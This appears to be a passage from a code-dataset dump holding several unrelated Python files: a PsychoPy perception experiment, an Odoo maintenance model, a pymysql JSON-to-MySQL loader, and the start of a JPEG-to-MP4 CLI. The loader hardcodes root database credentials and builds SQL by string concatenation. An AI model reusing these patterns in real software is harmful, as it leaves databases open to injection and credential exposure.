target_jump == 1:  # ACW\n                    probe1_ori += 90\n                    probe2_ori += 90\n                    probe2_pos = [p1_x + sep - 1, p1_y + sep]\n                elif target_jump == -1:  # CW\n                    probe1_ori += 270\n                    probe2_ori += 270\n                    probe2_pos = [p1_x - sep + 1, p1_y - sep]\n            elif orientation == 'radial':\n                if target_jump == 1:  # inward\n                    probe1_ori += 180\n                    probe2_ori += 180\n                    # probe2 is right and down from probe1\n                    probe2_pos = [p1_x + sep - 1, p1_y - sep]\n                elif target_jump == -1:  # outward\n                    probe1_ori += 0\n                    probe2_ori += 0\n                    # probe2 is left and up from probe1\n                    probe2_pos = [p1_x - sep + 1, p1_y + sep]\n        elif corner == 225:\n            p1_x = dist_from_fix * -1\n            p1_y = dist_from_fix * -1\n            if orientation == 'tangent':\n                if target_jump == 1:  # CW\n                    probe1_ori += 0\n                    probe2_ori += 0\n                    probe2_pos = [p1_x - sep + 1, p1_y + sep]\n                elif target_jump == -1:  # ACW\n                    probe1_ori += 180\n                    probe2_ori += 180\n                    probe2_pos = [p1_x + sep - 1, p1_y - sep]\n            elif orientation == 'radial':\n                if target_jump == 1:  # inward\n                    probe1_ori += 90\n                    probe2_ori += 90\n                    # probe2 is right and up from probe1\n                    probe2_pos = [p1_x + sep - 1, p1_y + sep]\n                elif target_jump == -1:  # outward\n                    probe1_ori += 270\n                    probe2_ori += 270\n                    # probe2 is left and down from probe1\n                    probe2_pos = [p1_x - sep + 1, p1_y - sep]\n        else:\n            corner = 315\n            p1_x = dist_from_fix * 1\n            p1_y = dist_from_fix * -1\n            if orientation == 'tangent':\n                if target_jump == 1:  # ACW\n                    probe1_ori += 270\n                    probe2_ori += 270\n                    probe2_pos = [p1_x - sep + 1, p1_y - sep]\n                elif target_jump == -1:  # CW\n                    probe1_ori += 90\n                    probe2_ori += 90\n                    probe2_pos = [p1_x + sep - 1, p1_y + sep]\n            elif orientation == 'radial':\n                if target_jump == 1:  # inward\n                    probe1_ori += 0\n                    probe2_ori += 0\n                    # probe2 is left and up from probe1\n                    probe2_pos = [p1_x - sep + 1, p1_y + sep]\n                elif target_jump == -1:  # outward\n                    probe1_ori += 180\n                    probe2_ori += 180\n                    # probe2 is right and down from probe1\n                    probe2_pos = [p1_x + sep - 1, p1_y - sep]\n\n        probe1.ori = probe1_ori\n        probe2.ori = probe2_ori\n        probe1_pos = [p1_x, p1_y]\n        probe1.pos = probe1_pos\n        probe2.pos = probe2_pos\n\n        if verbose:\n            print(f\"probe1: {probe1_pos}, probe2_pos: {probe2_pos}. dff: {dist_from_fix}\")\n\n\n        # VARIABLE FIXATION TIME\n        # to reduce anticipatory effects that might arise from fixation always being same length.\n        # if False, vary_fix == .5 seconds, so t_fixation is 1 second.\n        # if Ture, vary_fix is between 0 and 1 second, so t_fixation is between .5 and 1.5 seconds.\n        vary_fix = int(fps / 2)\n        if vary_fixation:\n            vary_fix = np.random.randint(0, fps)\n\n        # timing in frames for ISI and probe2\n        # If probes are presented concurrently, set ISI and probe2 to last for 0 frames.\n        isi_fr = ISI\n        p2_fr = probe_duration\n        if ISI < 0:\n            isi_fr = p2_fr = 0\n\n        # cumulative timing in frames for each part of a trial\n        t_fixation = int(fps / 2) + vary_fix\n        t_probe_1 = t_fixation + probe_duration\n        t_ISI = t_probe_1 + isi_fr\n        t_probe_2 = t_ISI + p2_fr\n        t_response = t_probe_2 + 10000 * fps  # ~40 seconds to respond\n\n        if verbose:\n            print(f\"t_fixation: {t_fixation}\\n\"\n                  f\"t_probe_1: {t_probe_1}\\n\"\n                  f\"t_ISI: {t_ISI}\\n\"\n                  f\"t_probe_2: {t_probe_2}\\n\"\n                  f\"t_response: {t_response}\\n\")\n\n        # repeat the trial if [r] has been pressed\n        # todo: keep the per-frame stuff to a minimum to reduce the load.\n\n        # take a break every ? trials\n        if (trial_number % take_break == 1) & (trial_number > 1):\n            continueRoutine = False\n            breaks.text = breaks_text + f\"\\nyou have completed {trial_number}/{total_n_trials} trials.\"\n            breaks.draw()\n\n            # adding this to flush out any logged messages during the breaks.\n            logging.flush()  # write messages out to all targets\n\n            win.flip()\n\n            while not kb.getKeys():\n                continueRoutine = True\n        else:\n            continueRoutine = True\n\n        # if trial_number == total_n_trials:\n        #     last_mem = info.getMemoryUsage()\n        #     last_ram = info.getRAM()[1]\n        #     last_fps = win.getActualFrameRate()\n        #     # print(f\"last_mem: {last_mem}\")\n        #     # print(f\"last_ram: {last_ram}\")\n        #     # print(f\"last_fps: {last_fps}\")\n\n        # todo: add in core.rush(True) for these time critical parts of script.\n        # todo: add in global timer and get time from last frame f fixation until first frame of response.\n        #  I can later use this to see if there were dropped frames or other time issues across probe1, isi, probe2.\n\n\n        # loop per frame\n        repeat = True\n        while repeat:\n            frameN = -1\n\n            continueRoutine = True\n            while continueRoutine:\n                frameN = frameN + 1\n\n                # todo: reset clock once.\n                if frameN == t_fixation:\n                    # radius is set twice, one here, and once at response time.\n                    fixation.setRadius(3)\n                    # reset timer to start with probe1 presentation (at last fixation frame).\n                    kb.clock.reset()\n                    if verbose:\n                        print(f\"{frameN}: frameN == t_fixation: reset timer\")\n\n                    # record time of last fixation frame.\n                    # last_fix_fr_time = win.callOnFlip(clock.getTime())\n\n                    win.recordFrameIntervals = True\n\n\n                # todo: Changed ifs to elifs\n                # FIXATION\n                if t_fixation >= frameN > 0:\n                    # fixation.setRadius(3)\n                    # blend_edge_mask.draw()\n                    fixation.draw()\n                    trials_counter.draw()\n\n                    # if verbose:\n                    #     print(f\"{frameN}: t_fixation >= frameN > 0: fixation\")\n\n\n                # PROBE 1\n                elif t_probe_1 >= frameN > t_fixation:\n                    if verbose:\n                        print(f\"{frameN}: t_probe_1 >= frameN > t_fixation: probe 1\")\n\n                    # win.recordFrameIntervals = True\n                    # fixation.setRadius(3)\n                    # blend_edge_mask.draw()\n                    fixation.draw()\n                    trials_counter.draw()\n                    probe1.draw()\n                    if ISI == -1:  # SIMULTANEOUS CONDITION (concurrent)\n                        if sep <= 18:  # don't draw 2nd probe in 1probe cond (sep==99)\n                            probe2.draw()\n                            if verbose:\n                                print(f\"\\t{frameN}: probe2.draw(): conc probes\")\n\n\n\n                # ISI (only occurs if ISI > 0)\n                elif t_ISI >= frameN > t_probe_1:\n                    # fixation.setRadius(3)\n                    # blend_edge_mask.draw()\n                    fixation.draw()\n                    trials_counter.draw()\n                    if verbose:\n                        print(f\"{frameN}: t_ISI >= frameN > t_probe_1: ISI\")\n\n                # PROBE 2 (Only occurs if ISI > -1, e.g., not concurrent probes)\n                elif t_probe_2 >= frameN > t_ISI:\n                    if verbose:\n                        print(f\"{frameN}: t_probe_2 >= frameN > t_ISI: probe 2\")\n                    if ISI >= 0:\n                        if sep <= 18:  # don't draw 2nd probe in 1probe cond (sep==99)\n                            probe2.draw()\n                            if verbose:\n                                print(f\"\\t{frameN}: probe2.draw()\")\n                    # fixation.setRadius(3)\n                    # blend_edge_mask.draw()\n                    fixation.draw()\n                    trials_counter.draw()\n\n                # elif frameN == t_probe_2:\n                #     # record time of last probe frame.\n                #     last_probe_fr_time = win.callOnFlip(clock.getTime())\n\n\n                # Response time\n                elif frameN > t_probe_2:\n                    # print(f\"{frameN}: frameN > t_probe_2: response\")\n\n                    win.recordFrameIntervals = False\n                    # win.saveFrameIntervals(f\"/Users/nickmartin/Library/CloudStorage/OneDrive-CardiffUniversity/PycharmProjects/Cardiff/memory_and_timings/frameIntervals_20221121/run4/FrameIntervals_{trial_number}_ISI{ISI}\")\n\n                    # blend_edge_mask.draw()\n                    fixation.setRadius(2)\n                    fixation.draw()\n                    trials_counter.draw()\n\n                    # ANSWER keys\n                    theseKeys = kb.getKeys(keyList=['num_5', 'num_4', 'num_1',\n                                                    'num_2', 'w', 'q', 'a', 's'])\n                    if len(theseKeys) > 0:  # at least one key was pressed\n                        last_key = theseKeys[-1]\n                        resp_key = last_key.name\n                        resp_rt = last_key.rt\n                        if verbose:\n                            print(f\"theseKeys: {list([i for i in theseKeys])}\")\n                            print(f\"resp_key: {resp_key}\")\n                            print(f\"resp_rt: {resp_rt}\")\n                            print(f\"key.duration: {last_key.duration}\")\n\n\n                        # default assume response incorrect unless meets criteria below\n                        resp_corr = 0\n\n                        if corner == 45:\n                            if (resp_key == 'w') or (resp_key == 'num_5'):\n                                resp_corr = 1\n                        elif corner == 135:\n                            if (resp_key == 'q') or (resp_key == 'num_4'):\n                                resp_corr = 1\n                        elif corner == 225:\n                            if (resp_key == 'a') or (resp_key == 'num_1'):\n                                resp_corr = 1\n                        elif corner == 315:\n                            if (resp_key == 's') or (resp_key == 'num_2'):\n                                resp_corr = 1\n\n                        repeat = False\n                        continueRoutine = False\n\n                # regardless of frameN, check for quit\n                if kb.getKeys(keyList=[\"escape\"]):\n                    thisExp.close()\n                    core.quit()\n\n                # redo the trial if I think I made a mistake\n                if kb.getKeys(keyList=[\"r\"]) or kb.getKeys(keyList=['num_9']):\n                    repeat = True\n                    continueRoutine = False\n                    continue\n\n                # # todo: sort out how to allow participants to respond, then go back and repeat the frame.\n                # #  At the moment it can get stuck in a loop!)\n                # if len(win.frameIntervals) > 0:\n                #     if max(win.frameIntervals) > max_fr_sec:\n                #         print('Repeating this trial as dropped frame.')\n                #         print(win.frameIntervals)\n                #         win.frameIntervals.clear()\n                #         repeat = True\n                #         continueRoutine = False\n                #         continue\n\n\n                # gets rid of double presses\n                kb.getKeys(clear=True)\n\n                # refresh the screen\n                if continueRoutine:\n                    win.flip()\n\n        # get duration from last fixation frame to last probe frame\n        # probes_fr_dur = last_probe_fr_time - last_fix_fr_time\n\n        print(win.frameIntervals)\n\n        # keep this, so it only checks last set of frames.\n        win.frameIntervals.clear()\n\n        # TrialHandler adds info to CSV (but stored in memory until end?)\n        thisExp.addData('trial_number', trial_number)\n        thisExp.addData('stair', stair_idx)\n        thisExp.addData('stair_name', thisStair)\n        thisExp.addData('step', step)\n        thisExp.addData('separation', sep)\n        thisExp.addData('ISI', ISI)\n        thisExp.addData('isi_fr', isi_fr)\n        thisExp.addData('probe_jump', target_jump)\n        thisExp.addData('jump_dir', jump_dir)\n        thisExp.addData('probeColor1', probeColor1)\n        thisExp.addData('probeColor255', probeColor255)\n        thisExp.addData('probeLum', probeLum)\n        thisExp.addData('trial_response', resp_corr)\n        thisExp.addData('corner', corner)\n        thisExp.addData('corner_name', corner_name)\n        thisExp.addData('probe_ecc', probe_ecc)\n        # thisExp.addData('resp.rt', resp.rt)\n        thisExp.addData('resp_key', resp_key)\n        thisExp.addData('resp_rt', resp_rt)\n        thisExp.addData('orientation', orientation)\n        thisExp.addData('vary_fixation', vary_fixation)\n        thisExp.addData('t_fixation', t_fixation)\n        # thisExp.addData('last_fix_fr_time', last_fix_fr_time)\n        # thisExp.addData('last_probe_fr_time', last_probe_fr_time)\n        # thisExp.addData('probes_fr_dur', probes_fr_dur)\n        thisExp.addData('monitor_name', monitor_name)\n        thisExp.addData('selected_fps', fps)\n        thisExp.addData('expName', expName)\n        thisExp.addData('psychopyVersion', psychopyVersion)\n        thisExp.addData('date', expInfo['date'])\n        thisExp.addData('time', expInfo['time'])\n\n\n\n        # indicates that this trial has finished\n        thisExp.nextEntry()\n\n        # updates staircase\n        thisStair.newValue(resp_corr)   # so that the staircase adjusts itself\n\n\nprint(\"end of experiment loop, saving data\")\n\n# runInfo = info.RunTimeInfo(verbose=True, win=win, userProcsDetailed=True)\n# # print(f\"\\nrun_info: {runInfo}\")\n# print(f\"getMemoryUsage: {info.getMemoryUsage()}\")\n# print(f\"getRAM: {info.getRAM()}\")\n\n\n\n\nthisExp.dataFileName = filename\n\n# print(f\"thisExp: {thisExp.getAllEntries()}\")\n\nthisExp.close()\n# thisExp.abort()\n\n# end_mem = info.getMemoryUsage()\n# end_ram = info.getRAM()[1]\n# print(f\"expInfo['date']: {expInfo['date']}\")\n# print(f\"expInfo['time']: {expInfo['time']}\")\n# print(f\"windowWinType: {runInfo['windowWinType']}\")\n# print(f\"kb_backend: {kb_backend}\")\n# print(f\"psychopyVersion: {psychopyVersion}\")\n# print(f\"total_n_trials: {total_n_trials}\")\n# print(f\"start_mem: {start_mem}\")\n# print(f\"start_ram: {start_ram}\")\n# print(f\"start_fps: {start_fps}\")\n# print(f\"last_mem: {last_mem}\")\n# print(f\"last_ram: {last_ram}\")\n# print(f\"last_fps: {last_fps}\")\n# print(f\"end_mem: {end_mem}\")\n# print(f\"end_ram: {end_ram}\")\n# mem_diff = start_mem - end_mem\n# ram_diff = start_ram - end_ram\n# # ram_diff = (start_ram[0] - end_ram[0], start_ram[1] - end_ram[1])\n# fps_diff = start_fps - last_fps\n# print(f\"mem_diff: {mem_diff}\")\n# print(f\"ram_diff: {ram_diff}\")\n# print(f\"fps_diff: {fps_diff}\")\n#\n# n_dropped_fr = win.nDroppedFrames\n# print(f\"n_dropped_fr: {n_dropped_fr}\")\n#\n#\n# # Import writer class from csv module\n# from csv import writer\n#\n# # List that we want to add as a new row\n# out_list = [expInfo['date'], expInfo['time'], 'psychopy', runInfo['windowWinType'], kb_backend,\n#             psychopyVersion, total_n_trials,\n#             start_mem, start_ram, start_fps, last_mem, last_ram, last_fps,\n#             end_mem, end_ram, mem_diff, ram_diff, fps_diff, abs(fps_diff),\n#             n_dropped_fr, n_dropped_fr/total_n_trials]\n#\n# # Open our existing CSV file in append mode\n# # Create a file object for this file\n# with open('/Users/nickmartin/Library/CloudStorage/OneDrive-CardiffUniversity/PycharmProjects/Cardiff/project_stuff/Exp1_Nov22_mem_fps.csv', 'a') as f_object:\n#\n#     # Pass this file object to csv.writer()\n#     # and get a writer object\n#     writer_object = writer(f_object)\n#\n#     # Pass the list as an argument into\n#     # the writerow()\n#     writer_object.writerow([])  # makes a new row\n#\n#     writer_object.writerow(out_list)\n#\n#     # Close the file object\n#     f_object.close()\n# print('written details to csv')\n#\n# import matplotlib.pyplot as plt\n# plt.plot(win.frameIntervals)\n# plt.show()\n# # win.saveFrameIntervals(fileName=None, clear=True)\n# # the stuff below certainly seems to be what's recommended (close window then core quit)\n\nwhile not kb.getKeys():\n    # display end of experiment screen\n    end_of_exp.draw()\n    win.flip()\nelse:\n    logging.flush()  # write messages out to all targets\n    thisExp.abort()  # or data files will save again on exit\n\n    # close and quit once a key is pressed\n    win.close()\n    core.quit()\n\n\n\n# Exp1_Nov22()\n#\n# if __name__ == '__main__':\n#     Exp1_Nov22()\n", "repo_name": "Nickdotmartin/Cardiff", "sub_path": "Nick_scripts/old_scripts/Exp1_Nov22.py", "file_name": "Exp1_Nov22.py", "file_ext": "py", "file_size_in_byte": 40033, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "psychopy.__version__", "line_number": 8, "usage_type": "name"}, {"api_name": "psychopy.core.Clock", "line_number": 58, "usage_type": "call"}, {"api_name": "psychopy.core", "line_number": 58, "usage_type": "name"}, {"api_name": "psychopy.__version__", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 65, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 66, "usage_type": "call"}, {"api_name": "psychopy.gui.DlgFromDict", "line_number": 87, "usage_type": "call"}, {"api_name": "psychopy.gui", "line_number": 87, "usage_type": "name"}, {"api_name": "psychopy.core.quit", "line_number": 89, "usage_type": "call"}, {"api_name": "psychopy.core", "line_number": 89, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 91, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 91, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 92, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 92, "usage_type": "name"}, {"api_name": "psychopy.logging.console.setLevel", "line_number": 111, "usage_type": "call"}, {"api_name": "psychopy.logging.console", "line_number": 111, "usage_type": "attribute"}, {"api_name": "psychopy.logging", "line_number": 111, "usage_type": "name"}, {"api_name": "psychopy.logging.DEBUG", "line_number": 111, "usage_type": "attribute"}, {"api_name": "psychopy.logging.console.setLevel", "line_number": 113, "usage_type": "call"}, {"api_name": "psychopy.logging.console", "line_number": 113, "usage_type": "attribute"}, {"api_name": "psychopy.logging", "line_number": 113, "usage_type": "name"}, {"api_name": "psychopy.logging.CRITICAL", "line_number": 113, "usage_type": "attribute"}, {"api_name": "numpy.repeat", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 133, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 143, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 144, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 145, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 146, "usage_type": "attribute"}, {"api_name": "psychopy.data.ExperimentHandler", "line_number": 155, "usage_type": "call"}, {"api_name": "psychopy.data", "line_number": 155, "usage_type": "name"}, {"api_name": "psychopy.__version__", "line_number": 156, "usage_type": "name"}, {"api_name": "psychopy.monitors.Monitor", "line_number": 191, "usage_type": "call"}, {"api_name": "psychopy.monitors", "line_number": 191, "usage_type": "name"}, {"api_name": "psychopy.monitors.Monitor", "line_number": 212, "usage_type": "call"}, {"api_name": "psychopy.monitors", "line_number": 212, "usage_type": "name"}, {"api_name": "psychopy.visual.Window", "line_number": 218, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 218, "usage_type": "name"}, {"api_name": "psychopy.visual.Circle", "line_number": 297, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 297, "usage_type": "name"}, {"api_name": "psychopy.visual.ShapeStim", "line_number": 303, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 303, "usage_type": "name"}, {"api_name": "psychopy.visual.ShapeStim", "line_number": 305, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 305, "usage_type": "name"}, {"api_name": "math.tan", "line_number": 317, "usage_type": "call"}, {"api_name": "numpy.deg2rad", "line_number": 317, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 317, "usage_type": "call"}, {"api_name": "psychopy.event.Mouse", "line_number": 340, "usage_type": "call"}, {"api_name": "psychopy.event", "line_number": 340, "usage_type": "name"}, {"api_name": "psychopy.hardware.keyboard.Keyboard", "line_number": 345, "usage_type": "call"}, {"api_name": "psychopy.hardware.keyboard", "line_number": 345, "usage_type": "name"}, {"api_name": "psychopy.visual.TextBox2", "line_number": 365, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 365, "usage_type": "name"}, {"api_name": "psychopy.visual.TextBox2", "line_number": 374, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 374, "usage_type": "name"}, {"api_name": "psychopy.visual.TextBox2", "line_number": 394, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 394, "usage_type": "name"}, {"api_name": "psychopy.visual.TextBox2", "line_number": 408, "usage_type": "call"}, {"api_name": "psychopy.visual", "line_number": 408, "usage_type": "name"}, {"api_name": "copy.copy", "line_number": 435, "usage_type": "call"}, {"api_name": "kestenSTmaxVal.Staircase", "line_number": 438, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 453, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 481, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 492, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 622, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 622, "usage_type": "attribute"}, {"api_name": "psychopy.logging.flush", "line_number": 655, "usage_type": "call"}, {"api_name": "psychopy.logging", "line_number": 655, "usage_type": "name"}, {"api_name": "psychopy.core.quit", "line_number": 808, "usage_type": "call"}, {"api_name": "psychopy.core", "line_number": 808, "usage_type": "name"}, {"api_name": "psychopy.__version__", "line_number": 872, "usage_type": "argument"}, {"api_name": "psychopy.logging.flush", "line_number": 969, "usage_type": "call"}, {"api_name": "psychopy.logging", "line_number": 969, "usage_type": "name"}, {"api_name": "psychopy.core.quit", "line_number": 974, "usage_type": "call"}, {"api_name": "psychopy.core", "line_number": 974, "usage_type": "name"}]}
{"seq_id": "26348821270", "text": "from odoo import models, fields, api\nimport datetime\n\nclass MaintenanceRequest(models.Model):\n    _name = 'maintenance.request'\n    _description = 'Maintenance Request'\n\n    name = fields.Char(\n        string='Name', \n        required=False)\n    equipment_id = fields.Many2one(\n        comodel_name='maintenance.equipments',\n        string='Equipment',\n        required=False)\n    request_date = fields.Date(\n        string='Request Date',\n        required=False, default=datetime.datetime.today())\n    start_date = fields.Datetime(string=\"Start Date\", required=False, )\n    end_date = fields.Datetime(string=\"End Date\", required=False, )\n    planned_end_date = fields.Datetime(string=\"Planned End Date\", required=False, )\n    planned_end_hours = fields.Float(string=\"Planned End Hours\", required=False, )\n    end_hours = fields.Float(string=\"End Hours By System\", required=False, )\n\n    time_effectiveness = fields.Selection(string=\"Time Effectiveness\",\n                                          selection=[('mild', 'Mild'), ('normal', 'Normal'), ('optimum', 'Optimum'),\n                                                     ], required=False, )\n    effectiveness = fields.Integer(string=\"Effectiveness %\", required=False, group_operator=\"avg\")\n    type_maintenance = fields.Selection(string=\"Type of Maintenance\",\n                                        selection=[('corrective', 'Corrective'),\n                                                   ('preventive', 'Preventive'), ],)\n\n    specialist_id = fields.Many2one(comodel_name=\"hr.employee\", string=\"Specialist\",\n                                    required=False,\n                                    # domain=\"[('type_workforce_id', '=', type_workforce_id)]\",\n                                    store=True)\n    # user_id = fields.Many2one(comodel_name=\"res.users\", string=\"User\", required=False, )\n    \n    maintenance_part_ids = fields.One2many(\n        comodel_name='maintenance.parts',\n        inverse_name='maintenance_request_id',\n        string='Parts Maintenance',\n        required=False)\n\n    @api.model\n    def create(self, values):\n        # Add code here\n\n        values['name'] = self.env['ir.sequence'].next_by_code('maintenance.request')\n\n        return super(MaintenanceRequest, self).create(values)\n\nclass PartsEquipments(models.Model):\n    _name = 'maintenance.parts'\n    _description = 'Parts Lines'\n\n    name = fields.Char(\n        string='Name',\n        required=False, related='part_id.name')\n    part_id = fields.Many2one(\n        comodel_name='product.template',\n        string='Product',\n        required=True, domain=\"[('is_part', '=', True)]\")\n    serial_part = fields.Char(\n        string='Serial',\n        required=False)\n    equipment_id = fields.Many2one(\n        comodel_name='maintenance.equipments',\n        string='Equipment',\n        required=False)\n    equipment_part = fields.Many2one(\n        comodel_name='product.parts.equipments',\n        string='Equipment Part',\n        required=False)\n    maintenance_request_id = fields.Many2one(\n        comodel_name='maintenance.request',\n        string='Maintenance Request',\n        required=False)\n\n    check = fields.Boolean(\n        string='Check',\n        required=False)\n\n\n    def check_serial(self):\n\n        self.check = True", "repo_name": "WildyEstephan/Maintenance14", "sub_path": "maintenance_field_service/models/maintenance_request.py", "file_name": "maintenance_request.py", "file_ext": "py", "file_size_in_byte": 3270, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "odoo.models.Model", "line_number": 4, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 4, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 8, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 8, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 11, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 11, "usage_type": "name"}, {"api_name": "odoo.fields.Date", "line_number": 15, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "attribute"}, {"api_name": "odoo.fields.Datetime", "line_number": 18, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 18, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime", "line_number": 19, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 19, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime", "line_number": 20, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 20, "usage_type": "name"}, {"api_name": "odoo.fields.Float", "line_number": 21, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 21, "usage_type": "name"}, {"api_name": "odoo.fields.Float", "line_number": 22, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 22, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 24, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 24, "usage_type": "name"}, {"api_name": "odoo.fields.Integer", "line_number": 27, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 27, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 28, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 28, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 32, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 32, "usage_type": "name"}, {"api_name": "odoo.fields.One2many", "line_number": 38, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 38, "usage_type": "name"}, {"api_name": "odoo.api.model", "line_number": 44, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 44, "usage_type": "name"}, {"api_name": "odoo.models.Model", "line_number": 52, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 52, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 56, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 56, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 59, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 59, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 63, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 63, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 66, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 66, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 70, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 70, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 74, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 74, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 79, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 79, "usage_type": "name"}]}
{"seq_id": "27057808335", "text": "#-*- coding:utf-8 -*-\n# @Time    : 2019/4/4 下午12:49\n# @Author  : Susanna Chen\n# @Site    : \n# @File    : operate_db_1.py\n# @Software: PyCharm\n\n#python 3.6\n# -*- coding:utf-8 -*-\n__author__ = 'BH8ANK'\n\nimport json\nimport pymysql\n\nconn = pymysql.connect(\n    host='localhost',  # mysql服务器地址\n    port=3306,  # 端口号\n    user='root',  # 用户名\n    passwd='123456',  # 密码\n    db='testDjango2',  # 数据库名称\n    charset='utf8',  # 连接编码，根据需要填写\n)\ncur = conn.cursor()  # 创建并返回游标\n\n# 根据文件内容创建表头\nsql_1 = \"CREATE TABLE geographic (prov  VARCHAR(32),log  VARCHAR(100),lat VARCHAR(100),city VARCHAR(100),clog VARCHAR(100),clat VARCHAR(100));\"\n# cur.execute(sql_1)#执行上述sql命令，首次运行时，需要执行上面的语句，用于创建table\n\na = open(\"../jsonFiles/alldata.json\", \"r\",encoding='UTF-8')\nout = a.read()\nprint(type(out))\n# tmp = json.dumps(out)\ntmp = json.loads(out)\nprint(type(tmp))\n\n\nx = len(tmp)\nprint(tmp)\nprint(x)\ni = 0\nwhile i < x:\n    M = tmp[i]\n\n    E = [M['name'],M['log'],M['lat']]\n    print(E)\n    j = len(M['children'])\n    k = 0\n    while k < j:\n        F = [M['children'][k]['name'],M['children'][k]['log'],M['children'][k]['lat']]\n        H = E + F\n        print(H[0])\n        sql_2 = \"insert into geographic (prov,log,lat,city,clog,clat) values (\" + \"'\"+H[0]+\"'\" +\",\"+ \"'\"+H[1]+\"'\" + \",\"+\"'\"+H[2]+\"'\" + \",\"+\"'\"+H[3]+\"'\" + \",\"+\"'\"+H[4]+\"'\" + \",\"+\"'\"+H[5]+\"'\" + \");\"\n        print(sql_2)\n        cur.execute(sql_2)  # 执行上述sql命令\n        k = k + 1\n        conn.commit()\n\n    print(\"============\")\n    i = i+1\n\nconn.close()", "repo_name": "m18818392716/mx_api", "sub_path": "jsonmysql/operateDB/operate_db_1.py", "file_name": "operate_db_1.py", "file_ext": "py", "file_size_in_byte": 1644, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pymysql.connect", "line_number": 15, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 33, "usage_type": "call"}]}
{"seq_id": "21408358915", "text": "\"\"\"\nConvert a jpg image sequence into a h264 mp4 video with decent settings for the \nCanon EOS M.\n\nUsage: eosm_jpg2mp4 -i=JPG_DIR -p=JPG_PREFIX -o=OUT_PATH\n\nOptions:\n    -i --jpg_dir=JPG_DIR          Path to the Canon raw video file.\n    -p --jpg_prefix=JPG_PREFIX      Basename prefix of jpg images before 6 digit \n                                    number begins, e.g. 'my_images_'.\n    -o --out_path=OUT_PATH            Output directory with dng images.\n\"\"\"\nimport docopt\nimport sys\nfrom . import tools\n\ndef main():\n    try:\n        arguments = docopt.docopt(__doc__)\n        rc = tools.jpg2mp4(\n            jpg_dir=arguments['--jpg_dir'], \n            jpg_prefix=arguments['--jpg_prefix'], \n            out_path=arguments['--out_path'],\n        )\n        sys.exit(rc)\n    except docopt.DocoptExit as e:\n        print(e)\n\nif __name__ == '__main__':\n    main()", "repo_name": "relleums/eosm_tools", "sub_path": "eosm_tools/jpg2mp4.py", "file_name": "jpg2mp4.py", "file_ext": "py", "file_size_in_byte": 863, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": 